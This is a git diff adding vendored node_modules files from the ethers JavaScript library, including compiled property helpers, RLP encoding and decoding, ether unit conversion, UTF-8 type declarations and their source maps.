void 0; +function checkType(value, type, name) { + const types = type.split("|").map(t => t.trim()); + for (let i = 0; i < types.length; i++) { + switch (type) { + case "any": + return; + case "bigint": + case "boolean": + case "number": + case "string": + if (typeof (value) === type) { + return; + } + } + } + const error = new Error(`invalid value for type ${type}`); + error.code = "INVALID_ARGUMENT"; + error.argument = `value.${name}`; + error.value = value; + throw error; +} +/** + * Resolves to a new object that is a copy of %%value%%, but with all + * values resolved. + */ +async function resolveProperties(value) { + const keys = Object.keys(value); + const results = await Promise.all(keys.map((k) => Promise.resolve(value[k]))); + return results.reduce((accum, v, index) => { + accum[keys[index]] = v; + return accum; + }, {}); +} +exports.resolveProperties = resolveProperties; +/** + * Assigns the %%values%% to %%target%% as read-only values. + * + * It %%types%% is specified, the values are checked. + */ +function defineProperties(target, values, types) { + for (let key in values) { + let value = values[key]; + const type = (types ? types[key] : null); + if (type) { + checkType(value, type, key); + } + Object.defineProperty(target, key, { enumerable: true, value, writable: false }); + } +} +exports.defineProperties = defineProperties; +//# sourceMappingURL=properties.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/properties.js.map b/node_modules/ethers/lib.commonjs/utils/properties.js.map new file mode 100644 index 000000000000..72fb7769417e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/properties.js.map @@ -0,0 +1 @@ +{"version":3,"file":"properties.js","sourceRoot":"","sources":["../../src.ts/utils/properties.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,SAAS,SAAS,CAAC,KAAU,EAAE,IAAY,EAAE,IAAY;IACrD,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,CAAC;IACjD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,KAAK,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QACnC,QAAQ,IAAI,EAAE;YACV,KAAK,KAAK;gBACN,OAAO;YACX,KAAK,QAAQ,CAAC;YACd,KAAK,SAAS,CAAC;YACf,KAAK,QAAQ,CAAC;YACd,KAAK,QAAQ;gBACT,IAAI,OAAM,CAAC,KAAK,CAAC,KAAK,IAAI,EAAE;oBAAE,OAAO;iBAAE;SAC9C;KACJ;IAED,MAAM,KAAK,GAAQ,IAAI,KAAK,CAAC,0BAA2B,IAAK,EAAE,CAAC,CAAC;IACjE,KAAK,CAAC,IAAI,GAAG,kBAAkB,CAAC;IAChC,KAAK,CAAC,QAAQ,GAAG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d.ts b/node_modules/ethers/lib.commonjs/utils/rlp-decode.d.ts new file mode 100644 index 000000000000..b77b08b9c194 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-decode.d.ts @@ -0,0 +1,6 @@ +import type { BytesLike, RlpStructuredData } from "./index.js"; +/** + * Decodes %%data%% into the structured data it represents. + */ +export declare function decodeRlp(_data: BytesLike): RlpStructuredData; +//# sourceMappingURL=rlp-decode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-decode.d.ts.map b/node_modules/ethers/lib.commonjs/utils/rlp-decode.d.ts.map new file mode 100644 index 000000000000..458795aadc51 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-decode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-decode.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp-decode.ts"],"names":[],"mappings":"AAMA,OAAO,KAAK,EAAE,SAAS,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAwF/D;;GAEG;AACH,wBAAgB,SAAS,CAAC,KAAK,EAAE,SAAS,GAAG,iBAAiB,CAK7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-decode.js b/node_modules/ethers/lib.commonjs/utils/rlp-decode.js new file mode 100644 index 000000000000..9d3c3b759752 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-decode.js @@ -0,0 +1,83 @@ +"use strict"; +//See: https://github.com/ethereum/wiki/wiki/RLP +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeRlp = void 0; +const data_js_1 = require("./data.js"); +const errors_js_1 = require("./errors.js"); +const data_js_2 = require("./data.js"); +function hexlifyByte(value) { + let result = value.toString(16); + while (result.length < 2) { + result = "0" + result; + } + return "0x" + result; +} +function unarrayifyInteger(data, offset, length) { + let result = 0; + for (let i = 0; i < length; i++) { + result = (result * 256) + data[offset + i]; + } + return result; +} +function _decodeChildren(data, offset, childOffset, length) { + const result = []; + while (childOffset < offset + 1 + length) { + const decoded = _decode(data, childOffset); + result.push(decoded.result); + childOffset += decoded.consumed; + (0, errors_js_1.assert)(childOffset <= offset + 1 + length, "child data too short", "BUFFER_OVERRUN", { + buffer: data, length, offset + }); + } + return { consumed: (1 + length), result: result }; +} +// returns { consumed: number, result: Object } +function _decode(data, offset) { + (0, errors_js_1.assert)(data.length !== 0, "data too short", "BUFFER_OVERRUN", { + buffer: data, length: 0, offset: 1 + }); + const checkOffset = (offset) => { + (0, errors_js_1.assert)(offset <= data.length, "data short segment too short", "BUFFER_OVERRUN", { + buffer: data, length: data.length, offset + }); + }; + // Array with extra length prefix + if (data[offset] >= 0xf8) { + const lengthLength = data[offset] - 0xf7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length); + } + else if (data[offset] >= 0xc0) { + const length = data[offset] - 0xc0; + checkOffset(offset + 1 + length); + return _decodeChildren(data, offset, offset + 1, length); + } + else if (data[offset] >= 0xb8) { + const lengthLength = data[offset] - 0xb7; + checkOffset(offset + 1 + lengthLength); + const length = unarrayifyInteger(data, offset + 1, lengthLength); + checkOffset(offset + 1 + lengthLength + length); + const result = (0, data_js_1.hexlify)(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); + return { consumed: (1 + lengthLength + length), result: result }; + } + else if (data[offset] >= 0x80) { + const length = data[offset] - 0x80; + checkOffset(offset + 1 + length); + const result = (0, data_js_1.hexlify)(data.slice(offset + 1, offset + 1 + length)); + return { consumed: (1 + length), result: result }; + } + return { consumed: 1, result: hexlifyByte(data[offset]) }; +} +/** + * Decodes %%data%% into the structured data it represents. + */ +function decodeRlp(_data) { + const data = (0, data_js_2.getBytes)(_data, "data"); + const decoded = _decode(data, 0); + (0, errors_js_1.assertArgument)(decoded.consumed === data.length, "unexpected junk after rlp payload", "data", _data); + return decoded.result; +} +exports.decodeRlp = decodeRlp; +//# sourceMappingURL=rlp-decode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-decode.js.map b/node_modules/ethers/lib.commonjs/utils/rlp-decode.js.map new file mode 100644 index 000000000000..213be5d8b9ca --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-decode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-decode.js","sourceRoot":"","sources":["../../src.ts/utils/rlp-decode.ts"],"names":[],"mappings":";AAAA,gDAAgD;;;AAEhD,uCAAoC;AACpC,2CAAqD;AACrD,uCAAqC;AAKrC,SAAS,WAAW,CAAC,KAAa;IAC9B,IAAI,MAAM,GAAG,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;IAChC,OAAO,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE;QAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;KAAE;IACpD,OAAO,IAAI,GAAG,MAAM,CAAC;AACzB,CAAC;AAED,SAAS,iBAAiB,CAAC,IAAgB,EAAE,MAAc,EAAE,MAAc;IACvE,IAAI,MAAM,GAAG,CAAC,CAAC;IACf,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,EAAE,CAAC,EAAE,EAAE;QAC7B,MAAM,GAAG,CAAC,MAAM,GAAG,GAAG,CAAC,GAAG,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;KAC9C;IACD,OAAO,MAAM,CAAC;AAClB,CAAC;AAOD,SAAS,eAAe,CAAC,IAAgB,EAAE,MAAc,EAAE,WAAmB,EAAE,MAAc;IAC1F,MAAM,MAAM,GAAe,EAAE,CAAC;IAE9B,OAAO,WAAW,GAAG,MAAM,GAAG,CAAC,GAAG,MAAM,EAAE;QACtC,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,EAAE,WAAW,CAAC,CAAC;QAE3C,MAAM,CAAC,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;QAE5B,WAAW,IA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AE,MAAM,GAAG,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC;QACpE,OAAO,EAAE,QAAQ,EAAE,CAAC,CAAC,GAAG,MAAM,CAAC,EAAE,MAAM,EAAE,MAAM,EAAE,CAAA;KACpD;IAED,OAAO,EAAE,QAAQ,EAAE,CAAC,EAAE,MAAM,EAAE,WAAW,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,EAAE,CAAC;AAC9D,CAAC;AAED;;GAEG;AACH,SAAgB,SAAS,CAAC,KAAgB;IACtC,MAAM,IAAI,GAAG,IAAA,kBAAQ,EAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,OAAO,CAAC,IAAI,EAAE,CAAC,CAAC,CAAC;IACjC,IAAA,0BAAc,EAAC,OAAO,CAAC,QAAQ,KAAK,IAAI,CAAC,MAAM,EAAE,mCAAmC,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;IACrG,OAAO,OAAO,CAAC,MAAM,CAAC;AAC1B,CAAC;AALD,8BAKC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts b/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts new file mode 100644 index 000000000000..089b1c3ea145 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts @@ -0,0 +1,6 @@ +import type { RlpStructuredDataish } from "./rlp.js"; +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +export declare function encodeRlp(object: RlpStructuredDataish): string; +//# sourceMappingURL=rlp-encode.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts.map b/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts.map new file mode 100644 index 000000000000..319163b85ebc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-encode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp-encode.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp-encode.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,UAAU,CAAC;AAiDrD;;GAEG;AACH,wBAAgB,SAAS,CAAC,MAAM,EAAE,oBAAoB,GAAG,MAAM,CAO9D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-encode.js b/node_modules/ethers/lib.commonjs/utils/rlp-encode.js new file mode 100644 index 000000000000..77cf3c5e0920 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp-encode.js @@ -0,0 +1,53 @@ +"use strict"; +//See: https://github.com/ethereum/wiki/wiki/RLP +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeRlp = void 0; +const data_js_1 = require("./data.js"); +function arrayifyInteger(value) { + const result = []; + while (value) { + result.unshift(value & 0xff); + value >>= 8; + } + return result; +} +function _encode(object) { + if (Array.isArray(object)) { + let payload = []; + object.forEach(function (child) { + payload = payload.concat(_encode(child)); + }); + if (payload.length <= 55) { + payload.unshift(0xc0 + payload.length); + return payload; + } + const length = arrayifyInteger(payload.length); + length.unshift(0xf7 + length.length); + return length.concat(payload); + } + const data = Array.prototype.slice.call((0, data_js_1.getBytes)(object, "object")); + if (data.length === 1 && data[0] <= 0x7f) { + return data; + } + else if (data.length <= 55) { + data.unshift(0x80 + data.length); + return data; + } + const length = arrayifyInteger(data.length); + length.unshift(0xb7 + length.length); + return length.concat(data); +} +const nibbles = "0123456789abcdef"; +/** + * Encodes %%object%% as an RLP-encoded [[DataHexString]]. + */ +function encodeRlp(object) { + let result = "0x"; + for (const v of _encode(object)) { + result += nibbles[v >> 4]; + result += nibbles[v & 0xf]; + } + return result; +} +exports.encodeRlp = encodeRlp; +//# sourceMappingURL=rlp-encode.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp-encode.js.map b/node_modules/ethers/lib.commonjs/utils/rlp-encode.js.map new file mode 100644 index 000000000000..1bb8a3f71f12 --- /dev/null +++ b/node_modules/ethers/lib.commonj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AEf;SAAM,IAAI,IAAI,CAAC,MAAM,IAAI,EAAE,EAAE;QAC1B,IAAI,CAAC,OAAO,CAAC,IAAI,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC;QACjC,OAAO,IAAI,CAAC;KACf;IAED,MAAM,MAAM,GAAG,eAAe,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC5C,MAAM,CAAC,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,MAAM,CAAC,CAAC;IAErC,OAAO,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;AAC/B,CAAC;AAED,MAAM,OAAO,GAAG,kBAAkB,CAAC;AAEnC;;GAEG;AACH,SAAgB,SAAS,CAAC,MAA4B;IAClD,IAAI,MAAM,GAAG,IAAI,CAAC;IAClB,KAAK,MAAM,CAAC,IAAI,OAAO,CAAC,MAAM,CAAC,EAAE;QAC7B,MAAM,IAAI,OAAO,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC;QAC1B,MAAM,IAAI,OAAO,CAAC,CAAC,GAAG,GAAG,CAAC,CAAC;KAC9B;IACD,OAAO,MAAM,CAAC;AAClB,CAAC;AAPD,8BAOC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp.d.ts b/node_modules/ethers/lib.commonjs/utils/rlp.d.ts new file mode 100644 index 000000000000..bdc7e8284724 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp.d.ts @@ -0,0 +1,17 @@ +/** + * The [[link-rlp]] (RLP) encoding is used throughout Ethereum + * to serialize nested structures of Arrays and data. + * + * @_subsection api/utils:Recursive-Length Prefix [about-rlp] + */ +export { decodeRlp } from "./rlp-decode.js"; +export { encodeRlp } from "./rlp-encode.js"; +/** + * An RLP-encoded structure. + */ +export type RlpStructuredData = string | Array; +/** + * An RLP-encoded structure, which allows Uint8Array. + */ +export type RlpStructuredDataish = string | Uint8Array | Array; +//# sourceMappingURL=rlp.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp.d.ts.map b/node_modules/ethers/lib.commonjs/utils/rlp.d.ts.map new file mode 100644 index 000000000000..287f5705f6b1 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp.d.ts","sourceRoot":"","sources":["../../src.ts/utils/rlp.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAC5C,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAE5C;;GAEG;AACH,MAAM,MAAM,iBAAiB,GAAG,MAAM,GAAG,KAAK,CAAC,iBAAiB,CAAC,CAAC;AAElE;;GAEG;AACH,MAAM,MAAM,oBAAoB,GAAG,MAAM,GAAG,UAAU,GAAG,KAAK,CAAC,oBAAoB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp.js b/node_modules/ethers/lib.commonjs/utils/rlp.js new file mode 100644 index 000000000000..09526068132e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp.js @@ -0,0 +1,14 @@ +"use strict"; +/** + * The [[link-rlp]] (RLP) encoding is used throughout Ethereum + * to serialize nested structures of Arrays and data. + * + * @_subsection api/utils:Recursive-Length Prefix [about-rlp] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeRlp = exports.decodeRlp = void 0; +var rlp_decode_js_1 = require("./rlp-decode.js"); +Object.defineProperty(exports, "decodeRlp", { enumerable: true, get: function () { return rlp_decode_js_1.decodeRlp; } }); +var rlp_encode_js_1 = require("./rlp-encode.js"); +Object.defineProperty(exports, "encodeRlp", { enumerable: true, get: function () { return rlp_encode_js_1.encodeRlp; } }); +//# sourceMappingURL=rlp.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/rlp.js.map b/node_modules/ethers/lib.commonjs/utils/rlp.js.map new file mode 100644 index 000000000000..4e95eb341626 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/rlp.js.map @@ -0,0 +1 @@ +{"version":3,"file":"rlp.js","sourceRoot":"","sources":["../../src.ts/utils/rlp.ts"],"names":[],"mappings":";AAAA;;;;;GAKG;;;AAEH,iDAA4C;AAAnC,0GAAA,SAAS,OAAA;AAClB,iDAA4C;AAAnC,0GAAA,SAAS,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/units.d.ts b/node_modules/ethers/lib.commonjs/utils/units.d.ts new file mode 100644 index 000000000000..7f6ce1770a03 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/units.d.ts @@ -0,0 +1,24 @@ +import type { BigNumberish, Numeric } from "../utils/index.js"; +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +export declare function formatUnits(value: BigNumberish, unit?: string | Numeric): string; +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +export declare function parseUnits(value: string, unit?: string | Numeric): bigint; +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +export declare function formatEther(wei: BigNumberish): string; +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +export declare function parseEther(ether: string): bigint; +//# sourceMappingURL=units.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/units.d.ts.map b/node_modules/ethers/lib.commonjs/utils/units.d.ts.map new file mode 100644 index 000000000000..4572b87dbba8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/units.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"units.d.ts","sourceRoot":"","sources":["../../src.ts/utils/units.ts"],"names":[],"mappings":"AAyBA,OAAO,KAAK,EAAE,YAAY,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAa/D;;;;;GAKG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,YAAY,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,MAAM,CAWhF;AAED;;;;GAIG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,OAAO,GAAG,MAAM,CAazE;AAED;;GAEG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,YAAY,GAAG,MAAM,CAErD;AAED;;;GAGG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAEhD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/units.js b/node_modules/ethers/lib.commonjs/utils/units.js new file mode 100644 index 000000000000..fe2c89837bcf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/units.js @@ -0,0 +1,90 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.parseEther = exports.formatEther = exports.parseUnits = exports.formatUnits = void 0; +/** + * Most interactions with Ethereum requires integer values, which use + * the smallest magnitude unit. + * + * For example, imagine dealing with dollars and cents. Since dollars + * are divisible, non-integer values are possible, such as ``$10.77``. + * By using the smallest indivisible unit (i.e. cents), the value can + * be kept as the integer ``1077``. + * + * When receiving decimal input from the user (as a decimal string), + * the value should be converted to an integer and when showing a user + * a value, the integer value should be converted to a decimal string. + * + * This creates a clear distinction, between values to be used by code + * (integers) and values used for display logic to users (decimals). + * + * The native unit in Ethereum, //ether// is divisible to 18 decimal places, + * where each individual unit is called a //wei//. + * + * @_subsection api/utils:Unit Conversion [about-units] + */ +const errors_js_1 = require("./errors.js"); +const fixednumber_js_1 = require("./fixednumber.js"); +const maths_js_1 = require("./maths.js"); +const names = [ + "wei", + "kwei", + "mwei", + "gwei", + "szabo", + "finney", + "ether", +]; +/** + * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal + * places. The %%unit%% may be the number of decimal places or the name of + * a unit (e.g. ``"gwei"`` for 9 decimal places). + * + */ +function formatUnits(value, unit) { + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + (0, errors_js_1.assertArgument)(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = (0, maths_js_1.getNumber)(unit, "unit"); + } + return fixednumber_js_1.FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString(); +} +exports.formatUnits = formatUnits; +/** + * Converts the //decimal string// %%value%% to a BigInt, assuming + * %%unit%% decimal places. The %%unit%% may the number of decimal places + * or the name of a unit (e.g. ``"gwei"`` for 9 decimal places). + */ +function parseUnits(value, unit) { + (0, errors_js_1.assertArgument)(typeof (value) === "string", "value must be a string", "value", value); + let decimals = 18; + if (typeof (unit) === "string") { + const index = names.indexOf(unit); + (0, errors_js_1.assertArgument)(index >= 0, "invalid unit", "unit", unit); + decimals = 3 * index; + } + else if (unit != null) { + decimals = (0, maths_js_1.getNumber)(unit, "unit"); + } + return fixednumber_js_1.FixedNumber.fromString(value, { decimals, width: 512 }).value; +} +exports.parseUnits = parseUnits; +/** + * Converts %%value%% into a //decimal string// using 18 decimal places. + */ +function formatEther(wei) { + return formatUnits(wei, 18); +} +exports.formatEther = formatEther; +/** + * Converts the //decimal string// %%ether%% to a BigInt, using 18 + * decimal places. + */ +function parseEther(ether) { + return parseUnits(ether, 18); +} +exports.parseEther = parseEther; +//# sourceMappingURL=units.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/units.js.map b/node_modules/ethers/lib.commonjs/utils/units.js.map new file mode 100644 index 000000000000..50ac6a317fb5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/units.js.map @@ -0,0 +1 @@ +{"version":3,"file":"units.js","sourceRoot":"","sources":["../../src.ts/utils/units.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,2CAA6C;AAC7C,qDAA+C;AAC/C,yCAAuC;AAKvC,MAAM,KAAK,GAAG;IACV,KAAK;IACL,M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,IAAA,oBAAS,EAAC,IAAI,EAAE,MAAM,CAAC,CAAC;KACtC;IAED,OAAO,4BAAW,CAAC,UAAU,CAAC,KAAK,EAAE,EAAE,QAAQ,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC,KAAK,CAAC;AACzE,CAAC;AAbD,gCAaC;AAED;;GAEG;AACH,SAAgB,WAAW,CAAC,GAAiB;IACzC,OAAO,WAAW,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;AAChC,CAAC;AAFD,kCAEC;AAED;;;GAGG;AACH,SAAgB,UAAU,CAAC,KAAa;IACpC,OAAO,UAAU,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;AACjC,CAAC;AAFD,gCAEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/utf8.d.ts b/node_modules/ethers/lib.commonjs/utils/utf8.d.ts new file mode 100644 index 000000000000..7bb87cc7d616 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/utf8.d.ts @@ -0,0 +1,96 @@ +import type { BytesLike } from "./index.js"; +/** + * The stanard normalization forms. + */ +export type UnicodeNormalizationForm = "NFC" | "NFD" | "NFKC" | "NFKD"; +/** + * When using the UTF-8 error API the following errors can be intercepted + * and processed as the %%reason%% passed to the [[Utf8ErrorFunc]]. + * + * **``"UNEXPECTED_CONTINUE"``** - a continuation byte was present where there + * was nothing to continue. + * + * **``"BAD_PREFIX"``** - an invalid (non-continuation) byte to start a + * UTF-8 codepoint was found. + * + * **``"OVERRUN"``** - the string is too short to process the expected + * codepoint length. + * + * **``"MISSING_CONTINUE"``** - a missing continuation byte was expected but + * not found. The %%offset%% indicates the index the continuation byte + * was expected at. + * + * **``"OUT_OF_RANGE"``** - the computed code point is outside the range + * for UTF-8. The %%badCodepoint%% indicates the computed codepoint, which was + * outside the valid UTF-8 range. + * + * **``"UTF16_SURROGATE"``** - the UTF-8 strings contained a UTF-16 surrogate + * pair. The %%badCodepoint%% is the computed codepoint, which was inside the + * UTF-16 surrogate range. + * + * **``"OVERLONG"``** - the string is an overlong representation. The + * %%badCodepoint%% indicates the computed codepoint, which has already + * been bounds checked. + * + * + * @returns string + */ +export type Utf8ErrorReason = "UNEXPECTED_CONTINUE" | "BAD_PREFIX" | "OVERRUN" | "MISSING_CONTINUE" | "OUT_OF_RANGE" | "UTF16_SURROGATE" | "OVERLONG"; +/** + * A callback that can be used with [[toUtf8String]] to analysis or + * recovery from invalid UTF-8 data. + * + * Parsing UTF-8 data is done through a simple Finite-State Machine (FSM) + * which calls the ``Utf8ErrorFunc`` if a fault is detected. + * + * The %%reason%% indicates where in the FSM execution the fault + * occurred and the %%offset%% indicates where the input failed. + * + * The %%bytes%% represents the raw UTF-8 data that was provided and + * %%output%% is the current array of UTF-8 code-points, which may + * be updated by the ``Utf8ErrorFunc``. + * + * The value of the %%badCodepoint%% depends on the %%reason%%. See + * [[Utf8ErrorReason]] for details. + * + * The function should return the number of bytes that should be skipped + * when control resumes to the FSM. + */ +export type Utf8ErrorFunc = (reason: Utf8ErrorReason, offset: number, bytes: Uint8Array, output: Array, badCodepoint?: number) => number; +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +export declare const Utf8ErrorFuncs: Readonly>; +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export declare function toUtf8Bytes(str: string, form?: UnicodeNormalizationForm): Uint8Array; +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +export declare function toUtf8String(bytes: BytesLike, onError?: Utf8ErrorFunc): string; +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +export declare function toUtf8CodePoints(str: string, form?: UnicodeNormalizationForm): Array; +//# sourceMappingURL=utf8.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/utf8.d.ts.map b/node_modules/ethers/lib.commonjs/utils/utf8.d.ts.map new file mode 100644 index 000000000000..9349623c089a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/utf8.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"utf8.d.ts","sourceRoot":"","sources":["../../src.ts/utils/utf8.ts"],"names":[],"mappings":"AAWA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAK5C;;GAEG;AACH,MAAM,MAAM,wBAAwB,GAAG,KAAK,GAAG,KAAK,GAAG,MAAM,GAAG,MAAM,CAAC;AAEvE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA+BG;AACH,MAAM,MAAM,eAAe,GAAG,qBAAqB,GAAG,YAAY,GAAG,SAAS,GAC1E,kBAAkB,GAAG,cAAc,GAAG,iBAAiB,GAAG,UAAU,CAAC;AAGzE;;;;;;;;;;;;;;;;;;;GAmBG;AACH,MAAM,MAAM,aAAa,GAAG,CAAC,MAAM,EAAE,eAAe,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,UAAU,EAAE,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,EAAE,YAAY,CAAC,EAAE,MAAM,KAAK,MAAM,CAAC;AA6CjJ;;;;;;;;;;;;;;GAcG;AACH,eAAO,MAAM,cAAc,EAAE,QAAQ,CAAC,MAAM,CAAC,OAAO,GAAG,QAAQ,GAAG,SAAS,EAAE,aAAa,CAAC,CAIzF,CAAC;AAsGH;;;;GAIG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,wBAAwB,GAAG,UAAU,CAyCpF;AAgBD;;;;;;GAMG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,aAAa,GAAG,MAAM,CAE9E;AAED;;;;GAIG;AACH,wBAAgB,gBAAgB,CAAC,GAAG,EAAE,MAAM,EAAE,IAAI,CAAC,EAAE,wBAAwB,GAAG,KAAK,CAAC,MAAM,CAAC,CAE5F"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/utils/utf8.js b/node_modules/ethers/lib.commonjs/utils/utf8.js new file mode 100644 index 000000000000..7a29fb3fa6ef --- /dev/null +++ b/node_modules/ethers/lib.commonjs/utils/utf8.js @@ -0,0 +1,227 @@ +"use strict"; 